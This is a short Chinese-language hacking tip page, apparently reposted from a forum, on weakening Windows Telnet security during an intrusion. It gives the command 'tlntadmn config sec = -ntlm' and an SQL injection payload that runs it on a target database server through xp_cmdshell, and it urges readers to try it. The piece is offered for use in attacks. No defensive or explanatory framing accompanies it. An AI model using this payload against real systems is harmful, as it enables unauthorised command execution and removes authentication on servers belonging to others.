告诉大家一个小技巧 一直没人提到过的东东脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

    相信大家都对telnet比较熟悉吧,

告诉大家一个小技巧 一直没人提到过的东东脚本安全

。hacking的时候经常用到的系统自带shell尤其是注射的时候,但是最讨厌的就是ntlm认证了,以前大家去掉ntlm的方法一般有2种。

    1 上传ntml.exe 这种方法有很多缺点,比如:对方有杀毒软件,很多网段屏蔽了TFTP.

    2 直接写入telnet的配置信息到文本中然后在用shell执行,

电脑资料

告诉大家一个小技巧 一直没人提到过的东东脚本安全》(https://www.unjs.com)。 这种办法非常麻烦。

    今天我给大家介绍我一直在使用的办法,压箱底的哦。

    那就是直接运行命令:tlntadmn config sec = -ntlm

    注射的话可以直接运行:;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--

    运行以后就去掉了该死的ntlm认证:) 赶快去试试吧。

   

最新文章